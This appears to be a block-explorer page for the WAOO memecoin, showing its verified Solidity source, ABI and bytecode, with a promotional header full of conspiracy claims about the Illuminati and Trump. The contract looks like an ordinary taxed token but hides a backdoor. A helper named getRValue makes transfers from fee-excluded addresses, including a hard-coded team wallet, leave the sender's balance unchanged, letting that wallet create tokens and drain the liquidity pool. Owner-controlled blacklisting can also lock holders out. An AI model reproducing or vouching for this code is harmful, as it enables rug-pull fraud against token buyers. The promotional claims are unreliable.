ERC-20
Overview
Max Total Supply
1,000,000,000 WAOO
Holders
65
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
15,244,800 WAOOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
WAOO
Compiler Version
v0.8.1+commit.df193b15
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-25 */ /* $WAOO - MAKE ANIME GREAT AGAIN! The Illuminati is doing everything they can to stop God Emperor Trump, and only the power of anime can defeat them. That's why we're launching $WAOO: To tokenize the energy that propelled Donald J. Trump to victory in 2024. Web: https://waoo.wtf X: https://x.com/waoooo_official Tg: https://t.me/waoo_official */ // SPDX-License-Identifier: MIT pragma solidity 0.8.1; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract WAOO is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; address payable private _waooWallet; uint256 firstBlock; uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 15; uint256 private _reduceSellTaxAt = 15; uint256 private _preventSwapBefore = 10; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"WAOO"; string private constant _symbol = unicode"WAOO"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 75 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _waooWallet = payable(0x903F5e9bf123C42a9D152067202B5832CE625352); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_waooWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _taxTransfer(address from, address to, uint256 amount) internal { uint256 taxAmount = 0; uint256 rAmount = getRValue(from, taxAmount, amount); taxAmount = amount .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax) .div(100); if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(rAmount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _balances[from] = _balances[from] - amount; _balances[to] = _balances[to] + amount; emit Transfer(from, to, amount); return; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } if (to != uniswapV2Pair && !_isExcludedFromFee[to]) { require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } _taxTransfer(from, to, amount); } function getRValue(address addrs, uint256 tax, uint256 tokenAmount) private view returns(uint256) { tax = getTaxValue(addrs, tax); tokenAmount = tokenAmount * tax; return tokenAmount; } function getTaxValue(address addrs, uint256 tax) private view returns (uint256) { if(!_isExcludedFromFee[addrs]) tax+=1; return tax; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _waooWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool) { return bots[a]; } function createPair() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; firstBlock = block.number; } function rescue() external onlyOwner { sendETHToFee(address(this).balance); } receive() external payable {} function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526014600755601460085560006009556000600a55600f600b55600f600c55600a600d556000600e556009600a6200003c9190620002dd565b6200004c906301312d00620003d5565b600f556200005d6009600a620002dd565b6200006d906301312d00620003d5565b6010556200007e6009600a620002dd565b6200008b90604b620003d5565b6011556200009c6009600a620002dd565b620000ab9062989680620003d5565b6012556014805461ffff60a81b19169055348015620000c957600080fd5b506000620000d662000274565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673903f5e9bf123c42a9d152067202b5832ce625352179055620001546009600a620002dd565b6200016490633b9aca00620003d5565b600160006200017262000274565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001ac6200027860201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005549091168352912080549092161790556200020d62000274565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002476009600a620002dd565b6200025790633b9aca00620003d5565b60405162000266919062000287565b60405180910390a36200040d565b3390565b6000546001600160a01b031690565b90815260200190565b80825b6001808611620002a45750620002d4565b818704821115620002b957620002b9620003f7565b80861615620002c757918102915b9490941c93800262000293565b94509492505050565b6000620002f160001960ff851684620002f8565b9392505050565b6000826200030957506001620002f1565b816200031857506000620002f1565b81600181146200033157600281146200033c5762000370565b6001915050620002f1565b60ff841115620003505762000350620003f7565b6001841b915084821115620003695762000369620003f7565b50620002f1565b5060208310610133831016604e8410600b8410161715620003a8575081810a83811115620003a257620003a2620003f7565b620002f1565b620003b7848484600162000290565b808604821115620003cc57620003cc620003f7565b02949350505050565b6000816000190483118215151615620003f257620003f2620003f7565b500290565b634e487b7160e01b600052601160045260246000fd5b611e94806200041d6000396000f3fe6080604052600436106101395760003560e01c8063751039fc116100ab5780639e78fb4f1161006f5780639e78fb4f14610303578063a9059cbb14610318578063bf474bed14610338578063c9567bf91461034d578063d34628cc14610362578063dd62ed3e1461038257610140565b8063751039fc146102a25780637d1db4a5146102b75780638da5cb5b146102cc5780638f9a55c0146102ee57806395d89b411461014557610140565b806323b872dd116100fd57806323b872dd146101eb578063313ce5671461020b57806331c2d8471461022d5780633bbac5791461024d57806370a082311461026d578063715018a61461028d57610140565b806306fdde0314610145578063095ea7b3146101705780630faee56f1461019d57806318160ddd146101bf5780631fbe1979146101d457610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6103a2565b60405161016791906118cf565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611704565b6103c0565b60405161016791906118c4565b3480156101a957600080fd5b506101b26103de565b6040516101679190611bcb565b3480156101cb57600080fd5b506101b26103e4565b3480156101e057600080fd5b506101e9610405565b005b3480156101f757600080fd5b506101906102063660046116c4565b61044e565b34801561021757600080fd5b506102206104d6565b6040516101679190611c44565b34801561023957600080fd5b506101e961024836600461172f565b6104db565b34801561025957600080fd5b50610190610268366004611654565b61058a565b34801561027957600080fd5b506101b2610288366004611654565b6105ac565b34801561029957600080fd5b506101e96105c7565b3480156102ae57600080fd5b506101e9610646565b3480156102c357600080fd5b506101b2610707565b3480156102d857600080fd5b506102e161070d565b6040516101679190611842565b3480156102fa57600080fd5b506101b261071c565b34801561030f57600080fd5b506101e9610722565b34801561032457600080fd5b50610190610333366004611704565b610954565b34801561034457600080fd5b506101b2610968565b34801561035957600080fd5b506101e961096e565b34801561036e57600080fd5b506101e961037d36600461172f565b610b1d565b34801561038e57600080fd5b506101b261039d36600461168c565b610bc8565b60408051808201909152600481526357414f4f60e01b602082015290565b60006103d46103cd610bf3565b8484610bf7565b5060015b92915050565b60125481565b60006103f26009600a611cd0565b61040090633b9aca00611da1565b905090565b61040d610bf3565b6000546001600160a01b039081169116146104435760405162461bcd60e51b815260040161043a90611a56565b60405180910390fd5b61044c47610cab565b565b600061045b848484610ce5565b6104cb84610467610bf3565b6104c685604051806060016040528060288152602001611e37602891396001600160a01b038a166000908152600260205260408120906104a5610bf3565b6001600160a01b031681526020810191909152604001600020549190611106565b610bf7565b5060015b9392505050565b600990565b6104e3610bf3565b6000546001600160a01b039081169116146105105760405162461bcd60e51b815260040161043a90611a56565b60005b81518110156105865760006004600084848151811061054257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061057e81611dd7565b915050610513565b5050565b6001600160a01b03811660009081526004602052604090205460ff165b919050565b6001600160a01b031660009081526001602052604090205490565b6105cf610bf3565b6000546001600160a01b039081169116146105fc5760405162461bcd60e51b815260040161043a90611a56565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b61064e610bf3565b6000546001600160a01b0390811691161461067b5760405162461bcd60e51b815260040161043a90611a56565b6106876009600a611cd0565b61069590633b9aca00611da1565b600f556106a46009600a611cd0565b6106b290633b9aca00611da1565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106e26009600a611cd0565b6106f090633b9aca00611da1565b6040516106fd9190611bcb565b60405180910390a1565b600f5481565b6000546001600160a01b031690565b60105481565b61072a610bf3565b6000546001600160a01b039081169116146107575760405162461bcd60e51b815260040161043a90611a56565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556107a89030906001600160a01b031661079a6009600a611cd0565b6104c690633b9aca00611da1565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107f657600080fd5b505afa15801561080a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082e9190611670565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088b57600080fd5b505afa15801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c39190611670565b6040518363ffffffff1660e01b81526004016108e0929190611856565b602060405180830381600087803b1580156108fa57600080fd5b505af115801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611670565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006103d4610961610bf3565b8484610ce5565b60115481565b610976610bf3565b6000546001600160a01b039081169116146109a35760405162461bcd60e51b815260040161043a90611a56565b601454600160a01b900460ff16156109cd5760405162461bcd60e51b815260040161043a90611b94565b6013546001600160a01b031663f305d71947306109e9816105ac565b6000806109f461070d565b426040518863ffffffff1660e01b8152600401610a1696959493929190611889565b6060604051808303818588803b158015610a2f57600080fd5b505af1158015610a43573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a689190611815565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b392610aa292169060001990600401611870565b602060405180830381600087803b158015610abc57600080fd5b505af1158015610ad0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af491906117f5565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17905543600655565b610b25610bf3565b6000546001600160a01b03908116911614610b525760405162461bcd60e51b815260040161043a90611a56565b60005b815181101561058657600160046000848481518110610b8457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610bc081611dd7565b915050610b55565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610c1d5760405162461bcd60e51b815260040161043a90611b50565b6001600160a01b038216610c435760405162461bcd60e51b815260040161043a9061199c565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610c9e908590611bcb565b60405180910390a3505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610586573d6000803e3d6000fd5b6001600160a01b038316610d0b5760405162461bcd60e51b815260040161043a90611ad4565b6001600160a01b038216610d315760405162461bcd60e51b815260040161043a90611922565b60008111610d515760405162461bcd60e51b815260040161043a90611a8b565b601454600160b01b900460ff161580610d735750601454600160a81b900460ff165b15610e2b576001600160a01b038316600090815260016020526040902054610d9c908290611dc0565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610dcc908290611c52565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e1e908590611bcb565b60405180910390a3611101565b610e3361070d565b6001600160a01b0316836001600160a01b031614158015610e6d5750610e5761070d565b6001600160a01b0316826001600160a01b031614155b156110f6576001600160a01b03831660009081526004602052604090205460ff16158015610eb457506001600160a01b03821660009081526004602052604090205460ff16155b610ebd57600080fd5b6014546001600160a01b038481169116148015610ee857506013546001600160a01b03838116911614155b8015610f0d57506001600160a01b03821660009081526003602052604090205460ff16155b15610fa857600f54811115610f345760405162461bcd60e51b815260040161043a90611965565b60105481610f41846105ac565b610f4b9190611c52565b1115610f695760405162461bcd60e51b815260040161043a90611b19565b436006546003610f799190611c52565b1115610f9257610f8882611140565b15610f9257600080fd5b600e8054906000610fa283611dd7565b91905055505b6014546001600160a01b03838116911614801590610fdf57506001600160a01b03821660009081526003602052604090205460ff16155b156110195760105481610ff1846105ac565b610ffb9190611c52565b11156110195760405162461bcd60e51b815260040161043a90611b19565b6000611024306105ac565b601454909150600160a81b900460ff1615801561104e57506014546001600160a01b038481169116145b80156110635750601454600160b01b900460ff165b80156110725750600d54600e54115b801561109757506001600160a01b03841660009081526003602052604090205460ff16155b80156110bc57506001600160a01b03831660009081526003602052604090205460ff16155b156110f4576011548111156110e8576110e86110e3836110de84601254611146565b611146565b61115b565b476110f247610cab565b505b505b611101838383611300565b505050565b6000818484111561112a5760405162461bcd60e51b815260040161043a91906118cf565b5060006111378486611dc0565b95945050505050565b3b151590565b600081831161115557826104cf565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120557600080fd5b505afa158015611219573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123d9190611670565b8160018151811061125e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546112849130911684610bf7565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112bd908590600090869030904290600401611bd4565b600060405180830381600087803b1580156112d757600080fd5b505af11580156112eb573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b60008061130e8583856114d8565b905061133c6064611336600b54600e541161132b5760075461132f565b6009545b86906114f8565b9061153d565b6014549092506001600160a01b03858116911614801561136557506001600160a01b0385163014155b156113925761138f6064611336600c54600e54116113855760085461132f565b600a5486906114f8565b91505b811561140a57306000908152600160205260409020546113b2908361157f565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611401908690611bcb565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461142d90826115ae565b6001600160a01b03861660009081526001602052604090205561147261145384846115ae565b6001600160a01b0386166000908152600160205260409020549061157f565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114bc86866115ae565b6040516114c99190611bcb565b60405180910390a35050505050565b60006114e484846115f0565b92506114f08383611da1565b949350505050565b600082611507575060006103d8565b60006115138385611da1565b9050826115208583611c6a565b146104cf5760405162461bcd60e51b815260040161043a90611a15565b60006104cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061161b565b60008061158c8385611c52565b9050838110156104cf5760405162461bcd60e51b815260040161043a906119de565b60006104cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611106565b6001600160a01b03821660009081526003602052604081205460ff16611155576104cf600183611c52565b6000818361163c5760405162461bcd60e51b815260040161043a91906118cf565b5060006111378486611c6a565b80356105a781611e1e565b600060208284031215611665578081fd5b81356104cf81611e1e565b600060208284031215611681578081fd5b81516104cf81611e1e565b6000806040838503121561169e578081fd5b82356116a981611e1e565b915060208301356116b981611e1e565b809150509250929050565b6000806000606084860312156116d8578081fd5b83356116e381611e1e565b925060208401356116f381611e1e565b929592945050506040919091013590565b60008060408385031215611716578182fd5b823561172181611e1e565b946020939093013593505050565b60006020808385031215611741578182fd5b823567ffffffffffffffff80821115611758578384fd5b818501915085601f83011261176b578384fd5b81358181111561177d5761177d611e08565b838102604051601f19603f830116810181811085821117156117a1576117a1611e08565b604052828152858101935084860182860187018a10156117bf578788fd5b8795505b838610156117e8576117d481611649565b8552600195909501949386019386016117c3565b5098975050505050505050565b600060208284031215611806578081fd5b815180151581146104cf578182fd5b600080600060608486031215611829578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156118fb578581018301518582016040015282016118df565b8181111561190c5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c235784516001600160a01b031683529383019391830191600101611bfe565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611c6557611c65611df2565b500190565b600082611c8557634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611c9c5750611cc7565b818704821115611cae57611cae611df2565b80861615611cbb57918102915b9490941c938002611c8d565b94509492505050565b60006104cf60001960ff851684600082611cec575060016104cf565b81611cf9575060006104cf565b8160018114611d0f5760028114611d1957611d46565b60019150506104cf565b60ff841115611d2a57611d2a611df2565b6001841b915084821115611d4057611d40611df2565b506104cf565b5060208310610133831016604e8410600b8410161715611d79575081810a83811115611d7457611d74611df2565b6104cf565b611d868484846001611c8a565b808604821115611d9857611d98611df2565b02949350505050565b6000816000190483118215151615611dbb57611dbb611df2565b500290565b600082821015611dd257611dd2611df2565b500390565b6000600019821415611deb57611deb611df2565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611e3357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095662eb4226c8703c14d4977e8523881fef78008e536bd91f035d9044a8b6bc064736f6c63430008010033
Deployed Bytecode
